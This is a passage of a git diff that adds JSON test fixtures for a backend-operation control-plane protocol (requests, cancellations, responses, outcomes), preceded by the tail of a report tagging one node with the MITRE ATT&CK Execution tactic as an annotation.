"configuration_axis": "applicable", + "predicate_id": "declared", + "producer_contract_id": "sdl-authoring-input-v1", + "profile_digest": "sha256:a399f706c10c4129e299cb6a54d8f7d0b5cea8013729c3cde318a86831185d30", + "profile_id": "semantic-projection-declared-approximate-lossy/v1", + "profile_version": "1", + "state_axis": "not-applicable", + "transformations_axis": "forbidden" + }, + "quantifier": { + "kind": "existential", + "quantified_unit": "distinct-native-subjects", + "threshold": null + }, + "scheme": { + "authority": "MITRE ATT&CK", + "included_concept_ids": [ + "TA0002" + ], + "revision": "v19.1", + "scheme_id": "mitre-attack-enterprise-tactics", + "source_digest": "sha256:bdf1ce86a4e604214c5076d37ae4dcb322678afc528df8492e6fdc1b554f5da3" + }, + "state": { + "basis_ref": "declared-state-not-applicable", + "posture": "not-applicable" + }, + "subject_scope": { + "artifact_digests": [ + "sha256:a22d5d994e8bd4c4634a884f0f1be2e395c96a5b8efe3ed25e79e8d8847a99ff" + ], + "complete": true, + "lifecycle_phase": "normalized-authoring", + "owning_contract_id": "sdl-authoring-input-v1", + "subject_kind": "node" + }, + "transformations": [] + }, + "frame_digest": "sha256:edb18329d2551a8d60006b23b0b38d31ea107f3e83cb7cc22ea9bd059dbe80f7", + "rows": [ + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0001", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [ + { + "approximation_posture": "approximate", + "binding_id": "attack-execution", + "confidence_posture": "high", + "limitations": [ + "The assertion does not claim that the node executes every technique associated with the tactic." + ], + "loss_details": [ + "A RAES node is not itself an ATT&CK tactic; the binding records contextual relevance only." + ], + "relationship_kind": "related-to", + "resolution_outcome": "resolved-current", + "review_status": "accepted", + "semantic_effect": "annotates" + } + ], + "classification": "witness", + "concept_id": "TA0002", + "reason_codes": [], + "witnesses": [ + { + "evidence_digests": [ + "sha256:a22d5d994e8bd4c4634a884f0f1be2e395c96a5b8efe3ed25e79e8d8847a99ff" + ], + "native_result_digest": "sha256:a22d5d994e8bd4c4634a884f0f1be2e395c96a5b8efe3ed25e79e8d8847a99ff", + "native_result_id": "nodes.web", + "predicate_profile_digest": "sha256:a399f706c10c4129e299cb6a54d8f7d0b5cea8013729c3cde318a86831185d30", + "producer_contract_id": "sdl-authoring-input-v1", + "subject": { + "artifact_digest": "sha256:a22d5d994e8bd4c4634a884f0f1be2e395c96a5b8efe3ed25e79e8d8847a99ff", + "canonical_ref": "nodes.web", + "lifecycle_phase": "normalized-authoring", + "owning_contract_id": "sdl-authoring-input-v1", + "subject_kind": "node" + } + } + ] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0003", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0004", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0005", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0006", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0007", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0008", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0009", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0010", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0011", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0040", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0042", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0043", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + }, + { + "bindings": [], + "classification": "excluded", + "concept_id": "TA0112", + "reason_codes": [ + "outside-explicit-inclusion-set" + ], + "witnesses": [] + } + ], + "schema_version": "semantic-projection-report/v1", + "summary": { + "ambiguous_count": 0, + "excluded_count": 14, + "frame_digest": "sha256:edb18329d2551a8d60006b23b0b38d31ea107f3e83cb7cc22ea9bd059dbe80f7", + "gap_count": 0, + "included_denominator": 1, + "predicate_id": "declared", + "predicate_profile_digest": "sha256:a399f706c10c4129e299cb6a54d8f7d0b5cea8013729c3cde318a86831185d30", + "qualified_fraction": "declared:1/1@sha256:edb18329d2551a8d60006b23b0b38d31ea107f3e83cb7cc22ea9bd059dbe80f7", + "unknown_count": 0, + "witness_count": 1 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-capabilities-v1/valid/provider.json b/contracts/fixtures/control-plane/backend-operation-capabilities-v1/valid/provider.json new file mode 100644 index 000000000..a1bee44a2 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-capabilities-v1/valid/provider.json @@ -0,0 +1,14 @@ +{ + "schema_version": "backend-operation-capabilities/v1", + "backend_id": "backend-1", + "revision": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "supported_operation_kinds": [ + "provisioning" + ], + "guarantees": [ + "cessation-evidence", + "cancellation", + "effect-observation", + "partial-effects" + ] +} diff --git a/contracts/fixtures/control-plane/backend-operation-control-v1/valid/cancel-race-01.json b/contracts/fixtures/control-plane/backend-operation-control-v1/valid/cancel-race-01.json new file mode 100644 index 000000000..899edb596 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-control-v1/valid/cancel-race-01.json @@ -0,0 +1,43 @@ +{ + "schema_version": "backend-operation-control/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "control_id": "control-1", + "actor_id": "supervisor-1", + "authorization_scope": [ + "role:operator" + ], + "action": "cancel", + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-control-v1/valid/partial-cancel-01.json b/contracts/fixtures/control-plane/backend-operation-control-v1/valid/partial-cancel-01.json new file mode 100644 index 000000000..899edb596 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-control-v1/valid/partial-cancel-01.json @@ -0,0 +1,43 @@ +{ + "schema_version": "backend-operation-control/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "control_id": "control-1", + "actor_id": "supervisor-1", + "authorization_scope": [ + "role:operator" + ], + "action": "cancel", + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-control-v1/valid/uncertain-01.json b/contracts/fixtures/control-plane/backend-operation-control-v1/valid/uncertain-01.json new file mode 100644 index 000000000..675f88c98 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-control-v1/valid/uncertain-01.json @@ -0,0 +1,43 @@ +{ + "schema_version": "backend-operation-control/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "control_id": "control-1", + "actor_id": "supervisor-1", + "authorization_scope": [ + "role:operator" + ], + "action": "reconcile", + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-request-v1/valid/accepted.json b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/accepted.json new file mode 100644 index 000000000..9bcc92a6a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/accepted.json @@ -0,0 +1,51 @@ +{ + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "command": { + "contract_id": "provisioning-plan-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "requirement_refs": [ + { + "contract_id": "artifact-requirement-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "required_guarantees": [ + "cessation-evidence" + ], + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-request-v1/valid/cancel-race.json b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/cancel-race.json new file mode 100644 index 000000000..9bcc92a6a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/cancel-race.json @@ -0,0 +1,51 @@ +{ + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "command": { + "contract_id": "provisioning-plan-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "requirement_refs": [ + { + "contract_id": "artifact-requirement-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "required_guarantees": [ + "cessation-evidence" + ], + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-request-v1/valid/duplicate.json b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/duplicate.json new file mode 100644 index 000000000..9bcc92a6a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/duplicate.json @@ -0,0 +1,51 @@ +{ + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "command": { + "contract_id": "provisioning-plan-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "requirement_refs": [ + { + "contract_id": "artifact-requirement-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "required_guarantees": [ + "cessation-evidence" + ], + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-request-v1/valid/partial-cancel.json b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/partial-cancel.json new file mode 100644 index 000000000..9bcc92a6a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/partial-cancel.json @@ -0,0 +1,51 @@ +{ + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "command": { + "contract_id": "provisioning-plan-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "requirement_refs": [ + { + "contract_id": "artifact-requirement-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "required_guarantees": [ + "cessation-evidence" + ], + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-request-v1/valid/refused.json b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/refused.json new file mode 100644 index 000000000..9bcc92a6a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/refused.json @@ -0,0 +1,51 @@ +{ + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "command": { + "contract_id": "provisioning-plan-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "requirement_refs": [ + { + "contract_id": "artifact-requirement-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "required_guarantees": [ + "cessation-evidence" + ], + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-request-v1/valid/uncertain.json b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/uncertain.json new file mode 100644 index 000000000..9bcc92a6a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-request-v1/valid/uncertain.json @@ -0,0 +1,51 @@ +{ + "schema_version": "backend-operation-request/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "command": { + "contract_id": "provisioning-plan-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "requirement_refs": [ + { + "contract_id": "artifact-requirement-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "required_guarantees": [ + "cessation-evidence" + ], + "budget": { + "origin_id": "budget-1", + "started_at": "2026-09-24T00:00:00Z", + "limit_ms": 1000, + "remaining_ms": 900 + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-01.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-01.json new file mode 100644 index 000000000..2979108f1 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-01.json @@ -0,0 +1,38 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "admission", + "disposition": "willing", + "capability_digest": "sha256:066b3fa652e3c59d655a6c8f443164e8b5f5e79c08cbb911d18a363f0a912b9e", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-02.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-02.json new file mode 100644 index 000000000..ffa53a295 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-02.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 2, + "message": { + "kind": "acknowledgement", + "disposition": "accepted", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-03.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-03.json new file mode 100644 index 000000000..6ba31be42 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-03.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 3, + "message": { + "kind": "progress", + "phase": "executing", + "evidence_refs": [] + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-04.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-04.json new file mode 100644 index 000000000..64dffaa3f --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/accepted-04.json @@ -0,0 +1,64 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 4, + "message": { + "kind": "outcome", + "proposed_state": "succeeded", + "effects": { + "effect": "complete", + "cessation_established": true, + "evidence_refs": [ + { + "contract_id": "backend-materialization-attestation-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "residual_scope": [ + "node.vm1" + ], + "residual_state": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "external_fence": null + }, + "satisfaction": "satisfied", + "release_gates_satisfied": true, + "cancellation_established": false, + "result": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-01.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-01.json new file mode 100644 index 000000000..752a59c89 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-01.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "acknowledgement", + "disposition": "accepted", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-02.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-02.json new file mode 100644 index 000000000..5f67a60a8 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-02.json @@ -0,0 +1,38 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 2, + "message": { + "kind": "control", + "control_id": "control-1", + "control_digest": "sha256:70871456333553d676f2b31b3d92f439018ed08039957cdcab00e3b5cb835bab", + "disposition": "accepted" + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-03.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-03.json new file mode 100644 index 000000000..b880a74f2 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/cancel-race-03.json @@ -0,0 +1,64 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", 